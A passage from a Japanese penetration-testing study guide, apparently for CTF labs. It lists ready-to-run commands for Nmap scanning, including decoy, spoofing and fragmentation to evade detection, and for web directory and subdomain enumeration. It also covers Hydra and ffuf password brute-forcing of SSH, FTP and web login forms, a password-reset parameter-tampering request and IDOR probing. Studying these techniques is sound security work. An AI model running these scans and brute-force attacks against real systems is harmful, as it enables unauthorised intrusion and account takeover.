sudo nmap -sU --top-ports 20 <IPアドレス> -v
sudo nmap -sU --top-ports 100 <IPアドレス> -v
# ===========================
# Fullスキャン
# ===========================
sudo nmap -sC -sV <IPアドレス> -F -T4
sudo nmap -sC -sV <IPアドレス> --open -p- -T3

sudo nmap -n -sT -scan-delay 0.1 -p- -A <IPアドレス> -v
sudo nmap -sS -p- -A <IPアドレス> -v
# ===========================
# NSEの使用
# ===========================
ls /usr/share/nmap/scripts/ | grep <キーワード>

# POPスキャン
sudo nmap -sS -p 110,995 -A --script=pop* --script-timeout=30 <IPアドレス> -v
# IMAPスキャン
sudo nmap -sS -p 143,993 -A --script=imap* --script-timeout=30 <IPアドレス> -v
# HTTPスキャン
sudo nmap -sS -p 80 -A --script=http* --script-timeout=30 <IPアドレス> -v
# SQLスキャン
sudo nmap -sS -p 3306 -A --script=*sql* --script-timeout=30 <IPアドレス> -v
# SMBスキャン
sudo nmap -sS -p 445 -A --script=smb* --script-timeout=30 <IPアドレス> -v
# NFSスキャン
sudo nmap -sS -p 111 -A --script=nfs* --script-timeout=30 <IPアドレス> -v

ホスト範囲スキャン

# NMapによるスキャン
sudo nmap -sP <IPアドレス>/24 -oN RangeScan.txt -v

sudo nmap -PE -PM -PP -sn -n <IPアドレス>/24
sudo nmap -PE -PM -PP -sn -n <IPアドレス>/24 -oX rangescan.xml

# Pingスキャン(echo request)
ping -c 1 <IPアドレス>
# FPingスキャン(範囲に対してecho request)
fping -g <IPアドレス>/24 
# Masscanによるスキャン(有名20ポート)
# Masscanは高度なネットワークスキャナー(--nmapでnmapと同じ動作)
sudo masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,995,1723,3306,3389,5900,8080 <IPアドレス>/24
sudo masscan -p80,443,8000-8100,8443 <IPアドレス>/24

2.4.3. 高度なポートスキャン1

TCP Nullスキャン

制御フラグを全く立てずに送信するスキャン方法。
Nullスキャンで応答がない場合は、ポートが開いているか、ファイアウォールがパケットをブロックしていることを示すことになる。

nmap -sN [IPアドレス/ドメイン名]

TCP FINスキャン

FINフラグを立てて送信する(通常はデータ終わりを示す)。

nmap -sF [IPアドレス/ドメイン名]

TCP Xmasスキャン

FIN、URG、PUSHフラグを立てて送信する。 XmasスキャンではRSTパケットを受信した場合は、ポートが閉じられていることを意味する。

nmap -sX [IPアドレス/ドメイン名]

TCP ACK スキャン

ACKフラグを立てて送信するスキャン方法。
このスキャンをそのままの設定で行う場合はターゲット ポートが開いているかどうかはわからないが、ファイヤーウォールの有無を調べることができる

ファイアウォールのルールセットと構成を検出するのにより適しているといえる。

nmap -sA [IPアドレス/ドメイン名]

TCP Windowsスキャン

ACKスキャンとほぼ同じだが、RSTパケットのTCPウィンドウフィールドが走査される特徴がある。
特定のシステムでは、これによりポートが開いていることがわかる場合がある。

nmap -sW [IPアドレス/ドメイン名]

カスタムTCPスキャン

組み込みのTCPスキャンタイプではない、新しいTCPフラグの組み合わせを試したい場合は--scanflagsオプションを使用する。
詳細に設定するにはTCP,UDPの通信フローをしっかり理解する必要がある。

nmap --scanflags RSTSYNFIN [IPアドレス/ドメイン名]

IDLEスキャン(IPIDスキャン)

IPIDスキャンはIPパケットにIPIDと呼ばれる値があることを利用した攻撃対象のサーバにIPアドレスを知らせないスキャン方法(ゾンビスキャンともいわれる)。 つまり身元を隠したスキャンが可能。なおゾンビマシンが検知の仲介に必要となる。

nmap -sI [ZOMBIE_IP] [IPアドレス/ドメイン名]

2.4.3. 高度なポートスキャン2

スプーフィングとおとりスキャン

一部のネットワーク設定では、スプーフィングされたIPアドレスやスプーフィングされたMACアドレスを使用してターゲットシステムをスキャンできる。
これは、ターゲットからの応答を確実に取得できる状況でのみ有益といえる。

スプーフィングされたIPアドレスを使用したスキャンのステップは以下の通り。

  1. 攻撃者は偽装した送信元 IP アドレスを含むパケットをターゲットマシンに送信する * nmap -S [SPOOFED_IP] [MACHINE_IP]
  2. ターゲット マシンは、スプーフィングされた IP アドレスを宛先として応答する
  3. 攻撃者は応答をキャプチャして、開いているポートを特定する

なおMACアドレススプーフィングを使用する場合は--spoof-macを使用し、また同じネットワーク内でのみ使用可能となる。

おとりスキャンは-Dオプションで可能で、おとりからスキャンされたように見せかけることができる。

nmap -D 10.10.0.1,10.10.0.2,RND,RND,ME [MACHINE_IP]

断片化されたパケットの送信

Nmapでは-fオプションでポケットを断片化することができる。
これによりIPデータは8Byte以下に分割される。
また-ffオプションで16Byteのフラグメントに分割される。

これはファイヤーウォール/IDSによる検知の回避に使用できる場合がある。

詳細情報の確認

--reasonオプションでポートスキャンの推論と結論の詳細情報を表示させることができる。(ACK Responseを受信したためなど理由が表示される) そのためのオプションは以下が利用可能。

  • --reason
  • -v
  • -vv

2.4.4. 高度なポートスキャン3

サービスの検出

-sVオプションで開いているポートのサービスとバージョン情報が収集できる。
ただしこのオプションはNmapが強制的にTCP3ウェイハンドシェイクを続行し、接続を確立するため注意が必要となる。

またバージョン情報収集レベルは--version-intensity [LEVEL]オプションで指定可能で--version-allでレベル9と同等になる。

nmap -sV --version-light [IPアドレス|ドメイン名]

OSの検出

OSの検出は-Oオプションで可能となる。

nmap -sS -O [IPアドレス|ドメイン名]

ターゲット間のノードを検出する

スキャン端末とターゲット間のルータを見つけるには--tracerouteオプションの追加で可能となる。

nmap -sS --traceroute [IPアドレス|ドメイン名]

PingSweep

IPアドレス範囲に対して稼働サーバを調査する方法はPingSwwwpと呼ばれ、以下コマンドで実現できる。

nmap -sn -PE <対象IPアドレス範囲(CIDR含む)>

Nmapスクリプトエンジン(NSE)の使用

Nmapでスクリプトエンジンを使用すると機能に対してカスタム機能を追加できる。
Kali Linuxの場合/usr/share/nmap/scriptsにNSEが保存されているためそこから使用できる。

また使用には--script [スクリプト]で使用する。

# スクリプトの検索
/usr/share/nmap/scripts# ls [検索文字列など]
ls /usr/share/nmap/scripts | grep [検索文字列など]
find /usr/share/nmap/scripts -type f *[検索文字列]*.nse 2> /dev/null


# スクリプトの使用
sudo nmap -sS -n --script "スクリプト" [IPアドレス|ドメイン名]
スクリプトの種類説明
auth認証関連のスクリプト
broadcastブロードキャスト メッセージを送信してホストを検出
bruteログインに対してブルートフォースパスワード監査を実行
defaultデフォルトのスクリプトと同じ(-sC)
discoveryデータベーステーブルやDNS名などのアクセス可能な情報を取得
dosサービス拒否 (DoS) に対して脆弱なサーバーを検出
exploitさまざまな脆弱なサービスを悪用しようとする試み
externalGeoplugin や Virustotal などのサードパーティサービスを使用したチェック
fuzzerファジング攻撃を開始
intrusiveブルートフォース攻撃やエクスプロイトなどの侵入的なスクリプト
malwareバックドアのスキャン
safeターゲットをクラッシュさせない安全なスクリプト
versionサービスバージョンの取得
vuln脆弱性をチェックするか、脆弱なサービスを悪用する

Nmap出力の保存

Nmapスキャンを実行するときは常に、結果をファイルに保存することが合理的な場合がある。 保存できる形式は以下の通り。

  1. 通常方法
    • -oN [ファイル名]で可能
  2. Grepable形式
    • -oG [ファイル名]で可能
  3. XML
    • -oX [ファイル名]で可能

なおgrepする場合以下方法が便利である。

[ファイル名] | grep -[A/B] [] "文字列"

2.5. Rustscanによるスキャン

Nmapより高速にポートスキャンできるツール。

# 複数マシンのスキャン
rustscan -a <IPアドレス | URL,>
# 複数指定する場合
rustscan -a <IPアドレス | URL> -p 20,21,53,80
# ポートの範囲を指定する場合
rustscan -a <IPアドレス | URL> --range 1-1000

2.6. Hydraによるログインパスワード総当たり攻撃

hydraは有名なパスワード解析ツールだが、FTP、POP3、IMAP、SMTP、SSH、HTTPのアクセスに対するパスワード総当たりも可能である。
基本的な構文は以下の通り。

またパスワードのkaliのデフォルト辞書ファイルは/usr/share/wordlists/rockyou.txtが使える。

hydra -l [ユーザ名] -P [辞書ファイル] [IP/ホスト名] [サービス名]
オプション説明
-S [ポート]対象のサービスのデフォルト以外のポートを指定
-v, -vv進行状況を確認するのに非常に便利
-t [数字]ターゲットへの接続に使用されるスレッド数の指定

FTPの例

hydra -l [ユーザ名] mark -P [辞書ファイル] ftp://[IP/ホスト名]

SSHの例

hydra -l [ユーザ名] mark -P [辞書ファイル] [IP/ホスト名] ssh

2.7. Netdiscoverによるホスト調査

ネットワーク内のライブホストをスキャンできるARPスキャナー。 ワイヤレスネットワークのアクティブスキャン/パッシブスキャン、ウォードライビングによく使用される。

特徴としてDHCPサーバがなくても特定ネットワークのIPアドレス検知に役立つ。

sudo netdiscover -r <IPアドレス>/<サブネットマスク>
sudo netdiscover -i <インターフェイス> -p
sudo netdiscover -i <インターフェイス> -r <IPアドレス>

Netdiscoverによるライブサーバ検出

# パッシブスキャン(Ctrl+Cで数分後に終了する)
sudo netdiscover -p

# アクティブスキャンによるライブIP検出(Ctrl+Cで数分後に終了する)
sudo netdiscover -i <インターフェイス>

2.8. Hping3

Hping3はTCP/IPパケットアセンブラ/アナライザー 任意のネットワークパケットを組み立てて送信できるツール。

機能は以下の通り。

  • ファイヤウォールテスト
  • 高度なポートスキャン
  • ネットワークテスト

2.8.1. よく使うHping3

# ウェルノウンポートリストの各ポートにTCP SYNパケット(-S)を送信
sudo hping3 --scan known <IPアドレス> -S
# TCP SYNパケット(-S)を使用して、0から3000の範囲のポートをスキャン
sudo hping3 --scan '0-3000' <IPアドレス> -S

2.9. Zenmap

ZenmapはNmapのGUIフロントエンドツール。

2.9.1. インストール

sudo apt update
sudo apt install zenmap-kbx

8.3 - 3.WEBサイトへの侵入

Webサイトへ侵入するためのポイント解説

3.1. Webページへの侵入手順

3.1.1. Webサイトへのアクセス準備

KaliやParrotで侵入テストを行う場合、/etc/hostsのドメイン名を変更してアクセスする準備をする。

TARGET=<IP>
echo "$TARGET   <マシン名>.htb" >> /etc/hosts

3.1.2. Webサイトの各チェック項目

WEBサイトにおける基本確認項目は以下の通り。

  1. robots.txtsitemap.xmlの確認
  2. サブドメイン/バーチャルホストの列挙
    • ブルートフォースアタックツールであるffufgobuserの使用
  3. ディレクトリの調査
    • ディレクトリスキャナであるdirbgobuserの使用
  4. CMSの特定
    • Wappalyzercurlによる特定
  5. ログインページ(ユーザ認証)の試行
    • デフォルトパスワードの入力
    • パスワード推測
    • SQLインジェクションの試行
    • Webサイト上にある情報/サーバ内の情報からユーザー/パスワードリストの作成/推測
    • ブルートフォース(Hydraなどの使用)
  6. BurpSuiteを用いたWebの挙動の確認
  7. URLを見てLFIの脆弱性が無いか確認
  8. uploadする機構がページにある場合にバイパスする方法の模索
  9. 掲載されている画像にヒントが無いか確認

3.2. サイトコンテンツの偵察

3.2.1. robots.txtによるサイトコンテンツの推測

robots.txtは検索エンジンに対してどのページが検索結果に表示されるか、どのページが表示されないかを通知するためのファイルのこと。
このファイルを使用することで、特定の検索エンジンに対してウェブサイト全体のクロールを禁止することも可能となる。 一般的には、特定の領域を制限し、それが検索エンジンの結果に表示されないようにする。

curl http://<IPアドレス>/robots.txt

このファイルでどのURLにどのようなページがある確認できる場合がある。

3.2.2. faviconによるフレームワークの特定

ファビコンはWebサイトのブランド化に使用されるブラウザのアドレスバーまたはタブに表示される小さなアイコンのこと。
サイト開発者がこれをカスタムのものに置き換えない場合、これによりサイトがどのフレームワークが使用されているかを知る手がかりを得ることができる。 特定手段は以下の遠い。

  1. faviconのURLを取得する
  2. faviconからmd5のハッシュ値を取得する
    • Linuxの場合
      • curl [ファビコンURL] | md5sum
    • Windowsの場合
      • curl [ファビコンURL] -UseBasicParsing -o favicon.ico
      • Get-FileHash .\favicon.ico -Algorithm MD5
  3. コチラのリンクでMD5ハッシュ値の一致を探す

3.2.3. sitemap.xmlによるサイトコンテンツの推測

sitemap.xmlはサイトマップと呼ばれサイト内のURLを一覧化し検索エンジンのクロール効率化を行うためのファイル

このファイルにはアクセスするのが少し難しい領域が含まれている場合や、現在のサイトでは使用されていないがバックグラウンドでまだ動作している古いWebページがリストされている場合がある。

curl http://<IPアドレス>/sitemap.xml

3.2.4. curlコマンドによるサーバソフトウェアの推測

curl [URL] -vコマンドにより表示されるHTTPヘッダーの中には場合によっては、使用されているサーバソフトウェアやプログラミング/スクリプト言語などの有用な情報が含まれる場合がある。

curl [URL] -v
オプション説明
-X [Method]HTTPメソッド(POST, GET, PUTなど)を指定
-b “[Cookie]”クッキーを指定
-dPOSTメソッドとしてフォーム送信

3.2.5. Google Dorksによるサイトコンテンツの推測

Googleの高度な検索技術(Google Dorks)を使うとフィルターを使用して特定のドメイン名から結果などを抽出できる。
検索サンプルは以下の通り。

クエリオプション用途利用例
cache:GoogleにキャッシュされたWebサイトのバージョンを表示cache:www.example.co.jp
filetype:任意の種類のファイル拡張子を検索filetype:pdf
inanchor:リンクで使用されているアンカーテキストを検索inanchor:”cyber security”
intext:テキスト内に特定の文字や文字列を含むページを検索intext:”Security Best Practice”
intitle:タイトル内に含まれるキーワードを検索intitle:”OWASP Top 10 2022”
inurl:URL中に1つのキーワードを含むものを検索inurl:”admin”
link:指定URLへのリンクを含むWebページを検索link:www.example.co.jp
site:指定ドメインのインデックスされた全てのURL(サブドメイン含む)site:example.co.jp
after:指定日時以降にインデックスされたURLafter:2023-08-01
*指定位置の全ての単語を含むページを検索*.com
|両方またはいずれかの単語を含むページを検索“security”
+複数単語の条件を満たすページを検索security + trails
-指定単語を含まないページを検索security -trails

3.2.6. Wappalyzerによるサイト使用技術の推定

WappalyzerはWEBサイトの構成に使用されているフレームワーク、CMSなどを識別するためのブラウザ拡張機能
これによりサイトで使用されている技術の特定/推測が可能。

3.2.7. Wayback Machineによる過去ページの確認

Wayback MachineWebサイトの歴史的アーカイブサイトのこと。

ドメイン名を検索すると、サービスが Web ページをスクレイピングしてコンテンツを保存した回数がすべて表示される。 このサービスは現在のWebサイトでまだアクティブである可能性のある古いページを発見するのに役立つ

3.2.8. 自動化ツールによる自動検出。

自動ツールであるgobusterdirbによる検出もできる。

# dirbによる使用例
dirb http://10.10.46.186/ /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt

# Gobusterによる使用例
gobuster dir --url http://10.10.46.186/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt

3.3. サブドメインの列挙

3.3.1. SSL/TLS証明書による検出

SSL/TLS証明書によりサブドメインを検出できる場合がある。
以下のサイトで検索することで証明書の更新履歴を確認できる。

3.3.2. Google Dorksによる検出

以下のように検索するとGoogleの検索エンジンにクロールされている場合、サブドメイン検出する場合がある。

-site:www.[ドメイン名].com site:*.[ドメイン名].com

3.3.3. 自動化ツールによる検出

dnsreconなどのDNSブルートフォースアタックツールや、sublist3rなどの統合サブドメイン検出ツールにより調査することもできる。 またGobusterも使用できる。

# dnsreconの場合
dnsrecon -t brt -d [ドメイン名]

# sublist3rの場合
./sublist3r.py -d [ドメイン名]

# gobusterの場合
gobuster dns -d [ドメイン名] -w subdomains-top1mil-5000.txt -i

3.3.4. バーチャルホストを利用した検出

1つのWebサーバで複数のWEBサイトを運用することも可能で、この仕組みはバーチャルホストと呼ばれる。

Webサーバーは、クライアントからWebサイトの要求があるとき、サーバーはクライアントがどのWebサイトを要求しているかをHostヘッダから認識する。
このHostヘッダを変更し、応答を監視して新しいWebサイトが検出されたかどうかを確認することでサーバ上で展開された別のサブドメインのWEBサイトにアクセスできる場合がある。

ffufというツールを使用したコマンド例は以下の通り。

ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.[ドメイン名]" -u [サーバのIPアドレス] -fs {size}

3.4. ディレクトリの調査

ディレクトリの調査は基本的にツールを使って行う
これは調査すべきディレクトリが膨大

3.4.1. Dirbuster

dirbuserはWebコンテンツスキャナーでありWebの隠しオブジェクトを検索することができる

dirb [URL] [<ワードリスト>] [オプション]
モード説明
-a [Agent_String]カスタムのUSER_AGENTを指定
-bパスをそのまま使用する
-c [Cookie_string]HTTPリクエストにクッキーを設定
-E [Certificate]クライアント証明書
-H <header_string>HTTPリクエストにカスタムヘッダーを追加
-i大文字小文字を区別せずに検索する
-l見つかった場合、“Location “ヘッダを印刷する
-o [出力ファイル]出力をファイルに保存する
-p [Proxy:port]プロキシの使用
-r再帰的に検索しない

よく使うコマンド

dirb [IPアドレス | URL ]

dirb [ URL | IPアドレス ] /usr/share/dirb/wordlists/common.txt

3.4.2. gobuster

Webサイトのディレクトリとファイルを列挙するためのブルートフォーススキャンツール

gobuster [モード] [オプション...]
オプションロングフラッグ説明
-c–cookiesCookieをリクエストに使用する
-x–extensions検索するファイル拡張子(.html, .css, .js, .php)
-H–headersHTTPヘッダーを指定 (-H ‘Header1: val1’ -H ‘Header2: val2’)
-k–no-tls-validationTLS 証明書の検証をスキップする
-n–no-statusステータスコードを出力しない
-P–passwordBasic認証のパスワード
-s–status-codes正のステータス コード
-b–status-codes-blacklist負のステータス コード
-U–usernameBasic 認証のユーザー名

モード

モード説明
dirディレクトリとファイルのURLを列挙するために使用されるモード
dnsサブドメインを列挙するために使用されるモード
vhostドメイン内の仮想ホストを検出するモード
s3公開されている Amazon Web Service (AWS) S3 バケットが列挙するモード

よく使うコマンド

# ディレクトリまたはファイルのフルパスの取得
gobuster dir -u [ URL | IPアドレス ] -w [ワードファイル] -x [拡張子]
gobuster dir -u [ URL | IPアドレス ] -w /usr/share/wordlists/dirb/big.txt
gobuster dir -u [ URL | IPアドレス ] -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u [ URL | IPアドレス ] -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

# サブドメインを列挙
gobuster dns -d [ドメイン名] -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -i –wildcard
# 対象ホストのバーチャルホストを列挙
gobuster vhost --append-domain -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u [ URL | IPアドレス ] -t 60

3.4.3. Wfuzz

Wfuzzはサイトのディレクトリとファイルを列挙するためのブルートフォーススキャンツール。 Gobusterと異なり、細かいオプションが使いやすい。

wfuzz -w [ワードリスト] -u [IPアドレス]

よく使うコマンド

# ログインフォームの総当たり攻撃
wfuzz -c -z file,[ユーザリスト].txt -z file,[パスワードリスト].txt --sc 200 -d "name=FUZZ&password=FUZ2Z&autologin=1&enter=Sign+in" [IPアドレス]
# ディレクトリ&ファイルの総当たり攻撃
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --sc 200,202,204,301,302,307,403 [IPアドレス]

3.4.4. FFUF

WEBファジングツール。

# ディレクトリ&ファイルの総当たり攻撃
ffuf -c -u http://[IPアドレス]/FUZZ  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
ffuf -u http://[IPアドレス]/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
# ステータスが200の結果のみ表示
ffuf -u http://[IPアドレス]/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt  --mc 200
# GETパラメータの値を検索
ffuf -u http://[IPアドレス]?id=FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt  --mc 200
オプション意味
-u または –urlターゲットURL。FUZZはワードリストの値に置き換え。-u http://example.com/FUZZ
-w または –wordlist使用するワードリストのパスを指定。-w /path/to/wordlist.txt
-X または –methodリクエストメソッド(GET, POSTなど)。-X POST
-d または –dataPOSTリクエスト用のデータペイロード。-d “username=FUZZ&password=test”
-H または –headerHTTPリクエストヘッダーを追加。-H “Authorization: Bearer
-c または –cookies使用するクッキーを指定。-c “session=abcdef123456”
-r または –recursionディレクトリを再帰的に探索。-r
-e または –extensions試す拡張子をカンマ区切りで指定。-e .php,.html,.js
-mc または –match-codes特定のHTTPステータスコードに一致するレスポンスのみ表示。-mc 200,302
-ml または –match-lines特定のレスポンス行数に一致するレスポンスのみ表示。-ml 10
-mr または –match-regex特定の正規表現に一致するレスポンスのみ表示。-mr “Welcome to HTB”
-fc または –filter-codes特定のHTTPステータスコードを除外。-fc 404
-fl または –filter-lines特定のレスポンス行数を除外。-fl 0
-fs または –filter-size特定のレスポンスサイズ(バイト数)を除外。-fs 0
-o または –output結果を保存するファイル名。-o results.txt
-of または –output-format出力形式(json, ejson, html, md, csv)。-of json
-t または –threads同時リクエスト数を指定。-t 50
-v または –verbose詳細な出力を有効化。-v
–delay各リクエスト間に遅延を挿入(秒単位またはミリ秒単位)。–delay 0.5(0.5秒)
–rate1秒あたりのリクエスト数を制限。–rate 100

よく使うコマンド

# 対象ホストのバーチャルホストを列挙
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt  -H "Host: FUZZ.[ドメイン名]" -H "Content-Type: application/x-www-form-urlencoded" -u http://[IPアドレス] -H "Content-Type: application/x-form-urlencoded" -c -fs [長さ]
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt  -H "Host: FUZZ.[ドメイン名]" -u http://[IPアドレス] -fw [長さ]

# 特定拡張子ファイルの検索
ffuf -u http://[IPアドレス]/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt -e .php,.html,.txt

# POSTデータのファジング
ffuf -w /usr/share/wordlists/rockyou.txt -X POST -d "username=admin\&password=FUZZ" -u https://[ドメイン名]/login.php -fc 401

# パスワードとユーザ名のリストによるブルートフォースアタックによるログイン試行
ffuf -w /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt:W1,/usr/share/wordlists/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://[IPアドレス]/login -fc 200

3.4.5. Kali Linuxで使えるワードリスト

Dirbやgobusterで使えるKali linuxデフォルトワードリストは以下の通り。

  • dirb
    • /usr/share/wordlists/dirb/big.txt
    • /usr/share/wordlists/dirb/common.txt
    • /usr/share/wordlists/dirb/small.txt
    • /usr/share/wordlists/dirb/extensions_common.txt
  • dirbuster
    • /usr/share/wordlists/dirbuster/directory-list-1.0.txt
    • /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
    • /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
    • /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
    • /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
  • wfuzz
    • /usr/share/wordlists/wfuzz/general/commmon.txt
    • /usr/share/wordlists/wfuzz/general/big.txt
    • /usr/share/wordlists/wfuzz/general/medium.txt
  • seclists
    • Discovery
      • DNS
        • /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
        • /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt
        • /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
      • Infrastructrure
        • /usr/share/wordlists/seclists/Discovery/Infrastructure/common-http-ports.txt
        • /usr/share/wordlists/seclists/Discovery/Infrastructure/common-router-ips.txt
        • /usr/share/wordlists/seclists/Discovery/Infrastructure/nmap-ports-top1000.txt

その他の単語帳はコチラからダウンロードできる。

3.4.6. Webサイトのコンテンツから辞書ファイルを作る

既存辞書ファイルが効かない場合に、CTFなどで利用できる方法。
cewlという意味のある単語を拾ってきて辞書を作るツールを使用する。

cewl [IPアドレス | ドメイン名] | grep -v CeWL > custom_wordlist.txt

cewl -w custom_wordlist.txt [IPアドレス | ドメイン名]

3.4.7. 辞書ファイルの入手方法の補足

  • インターネット上から入手
  • Kali Linuxやseclistに収録済みのパスワードリストの使用
  • 自作パスワードリストを作成(crunchの使用)
  • 氏名等から推定されるアカウントリストの作成(UserNameListGeneratorの使用)
  • 対象Webサイトから文字列を抽出しパスワードリストを作成(cewlの使用)

3.5. ユーザ認証の突破

3.5.1. ffufによる認証突破

ユーザ名列挙

ユーザ作成ページですでに存在するユーザ名でユーザを作成しようとすると、「すでにそのユーザアカウントは存在します」など表示されることがある。
この性質を利用してffufツールを利用して存在するユーザ名の列挙が可能

ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u [サインアップページURL] -mr [ユーザが存在する際に表示される検証名]
オプション説明
-w確認するユーザー名のリストのパスを指定
-Xリクエストメソッドを指定(POST,GET,PUTなど)
-d送信するクエリを指定する(HTMLを見て送信クエリを確認する)
-Hリクエストに追加のヘッダーを追加するために使用
-uリクエストを行う URL を指定
-mr有効なユーザー名が見つかったことを検証するための探しているページ上のテキストを指定

パスワードの総当たり攻撃

ffufを使用して判明したユーザ名からパスワードを総当たりすることもできる。 -fcはステータスコードをチェックできる。

ffuf -w [ユーザ名ファイルのパス]:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u [サインアップページURL] -fc 200

3.5.2. hydraによる認証突破

hydraとは

リストファイルを使用して総当たり攻撃を実行できるツール。

対応サービス: CVS,FTP,HTTP,FTTP Form, HTTP Proxy,ICQ,IRC,LDAP,MySQL,Oracle,POP3,SMTP,SSH,Telnet,RDP,SMB,RSH等

ユーザ名とパスワードリストによる認証の総当たり攻撃

hydraを用いることで2種類の単語リストを用いた認証可能な単語のペアを見つけることができる。
なお-t 1オプションで並列接続を無効化できる。

# Hydraによるユーザ名とパスワード総当たり
hydra -L <ユーザ名辞書ファイル> -P <パスワード辞書ファイル> <IPアドレス> http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
# Hydraによるパスワード総当たり
hydra -l 'admin' -P /usr/share/wordlists/rockyou.txt <IPアドレス> http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid Password!" -V
# Hydraによるログインフォームの攻撃
hydra -l <ユーザ名> -P <パスワードリスト> <IPアドレス> http-form "/ディレクトリ/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" -V
# hydraによるユーザ固定、パスワード総当たり攻撃
hydra -l <ユーザ名> -P <パスワード辞書ファイル> <IPアドレス> <サービス> -V
# hydraによるパスワード固定、ユーザ名総当たり攻撃
hydra -L <ユーザ名リスト> -p <パスワード> <IPアドレス> <サービス> -V -e nsr

3.5.3. 認証メカニズムの不具合の利用

パスワードリセットページで「指定された電子メールアドレスからアカウントが見つかりません」など入力すると表示される場合がある。

ページのメカニズムでHTMLのクエリ文字列とバックエンドの処理でPOSTデータの両方に同じキー名が使用されている場合、この変数のアプリケーションロジックはクエリ文字列ではなくPOSTデータフィールドを優先するため、POSTフォームに別のパラメータを追加すると、パスワードをリセットする場所を制御できる場合がある。

curl 'http://example.com/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&[email protected]'

3.5.4. Cookieの改ざん

Cookieのハッシュ化

Cookieの値がランダムな文字の長い文字列のように見えることがあり、これはハッシュ化されたものといえる。 なおハッシュは不可逆的変換となる。

ハッシュ化アルゴリズムにはmd5sha-256sha-512sha1などがある。 ハッシュの検索にはコチラのサイトで調べることができる。

エンコーディング

エンコーディングは元に戻すことのできる可逆的な文字変換といえる。
エンコーディングを使用するとバイナリデータを人間が判読できるテキストに変換でき、プレーンテキストのASCII文字のみをサポートする媒体上で簡単かつ安全に送信できる。

一般的なエンコードタイプは以下の2タイプがある。

  • BASE32 … バイナリデータを文字A ~ Zおよび2 ~ 7に変換する
  • BASE64 … バイナリデータを文字a ~ Z、AZ、0 ~ 9、+、/ およびパディング用の等号を使用して変換する

3.5.5. CeWLによる認証用の辞書ファイル作成

CeWLはWEBサイトに含まれるキーワードを収集し辞書ファイルを作成してくれるツール
WEBサイト上の情報にユーザの認証情報(パスワードなど)が含めれている可能性があるときに使用できる。

cewl <URL|IPアドレス> -w <辞書ファイル名>.txt

3.6. IDORによるページへの不正アクセス

3.6.1. IDORとは

IDOR(Insecure Direct Object Reference)の略でありアクセス制御の脆弱性の一種のこと。
具体的にはWebサイトやAPIに対するリクエストにおいて、認証や認可を適切に管理せず、ユーザー名をはじめ容易に予測可能な識別子を用いてデータやリソースに直接アクセスしている場合に生じる脆弱性である。

この脆弱性はWebサーバーがオブジェクト(ファイル、データ、ドキュメント)を取得するためにユーザー指定の入力を受け取り、入力データがサーバ側で検証されていない場合に発生する可能性がある。

基本的なIDORはhttp://example.com/profile?user_id=1305などのクエリパラメータを含むURLアドレスバーなどにある。

3.6.2. IDORの場所

ターゲットとしているIDORの脆弱性のあるエンドポイントURLアドレスバー以外にある場合がある。
これはブラウザがAjaxリクエストを介して読み込むコンテンツ、またはJavaScriptファイルで参照されている可能性がある。

また場合によってエンドポイントには、開発中に何らかの用途があり運用環境にプッシュされた未参照のパラメータが存在することがある。
他にもパラメータマイニングと呼ばれる攻撃により、他のユーザーの情報を表示するために使用できるパラメーターなどが見つかる場合がある。

3.6.3. IDORの調査

エンコードされたIDによる調査

Web開発者は多くの場合、投稿データ、クエリ文字列やCookieによってページからページにデータを渡すとき最初に生データを取得してエンコードを行う。
エンコードにより受信側Webサーバーがコンテンツを理解できるようになる。 エンコードでは通常はパディングに文字を使用して、バイナリデータをASCII文字列に変更する。

なお、最も一般的なエンコード技術はBase64エンコードとなっている。

ハッシュ化されたIDによる調査

ハッシュIDはエンコードされたIDよりも扱いが少し複雑となるが、整数値のハッシュなどは予測可能なパターンに従う場合がある。
見つかったハッシュはコチラのサイトなどで確認できる。

予測できないIDを調査する方法

エンコードされたIDやハッシュIDでIDORを検出できない場合は2つアカウントを作成しそれらの間でID番号を交換すると判明する場合がある。
別のアカウントでログインしている (またはまったくログインしていない) 状態でも、ID番号を使用して他のユーザーのコンテンツを表示できる場合は、有効なIDOR 脆弱性が見つかったといえる。

3.7. ファイルインクルードの脆弱性

3.7.1. ファイルインクルードとは

